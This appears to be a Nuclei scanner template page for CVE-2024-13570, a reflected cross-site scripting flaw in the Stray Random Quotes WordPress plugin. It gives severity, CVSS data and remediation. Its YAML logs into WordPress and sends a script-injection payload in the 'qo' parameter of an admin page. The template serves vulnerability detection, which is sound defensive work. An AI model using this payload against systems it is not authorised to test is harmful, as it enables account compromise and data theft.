CVE-2024-13570: WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
- Template: CVE-2024-13570
- Name: WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
- Description: Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
- Impact: Attackers can execute malicious scripts in the context of high-privilege users, potentially leading to account compromise or data theft.
- Remediation: Update to the latest version of the plugin where the vulnerability is fixed.
- Severity: medium
- Authors: Sourabh-Sahu
- Tags: cve, cve2024, wp, wordpress, wp-plugin, unalignedcode, stray-random-quotes, xss, authenticated
- References: https://wpscan.com/vulnerability/26019036-f7e4-4ef5-85d4-7d5fda18823e/, https://nvd.nist.gov/vuln/detail/CVE-2024-13570
- Cves: CVE-2024-13570
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-13570.yaml
- Digest: 4a0a00473045022100c679e4394007fcf58fb4477f10a656b73b6b024db6444c6f55f2346f6109641b0220630b572d6e496c800c69c764cdffce5b577243dd96ef2436ce77afb9368d4f03
- Created at: 2026-02-11T16:51:07Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 286
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-13570.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00603
- Epss percentile: 0.49804
- Cpe: cpe:2.3:a:unalignedcode:stray_random_quotes:*:*:*:*:*:wordpress:*:*
Metadata
- Max-request: 2
- Product: stray_random_quotes
- Vendor: unalignedcode
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| unalignedcode:stray_random_quotes | yes | /v1/products/unalignedcode/stray_random_quotes |
Labels
- Name: Stray Random Quotes - Reflected XSS
- Impact: Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
- Remediation: Update to the latest version of the plugin where the vulnerability is fixed.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs victim to click malicious link
- Labels source: projectdiscovery
- From cve: CVE-2024-13570
```yaml
id: CVE-2024-13570
info:
name: WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute malicious scripts in the context of high-privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://wpscan.com/vulnerability/26019036-f7e4-4ef5-85d4-7d5fda18823e/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13570
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13570
cwe-id: CWE-79
epss-score: 0.00603
epss-percentile: 0.49804
cpe: cpe:2.3:a:unalignedcode:stray_random_quotes:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: unalignedcode
product: stray_random_quotes
tags: cve,cve2024,wp,wordpress,wp-plugin,unalignedcode,stray-random-quotes,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=stray_manage&qo=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "></script><script>alert(document.domain)</script><script>", "stray-quotes")
- contains(content_type, "text/html")
- status_code == 200
condition: and
digest: 4a0a00473045022100c679e4394007fcf58fb4477f10a656b73b6b024db6444c6f55f2346f6109641b0220630b572d6e496c800c69c764cdffce5b577243dd96ef2436ce77afb9368d4f03:922c64590222798bb761d5b6d8e72950
```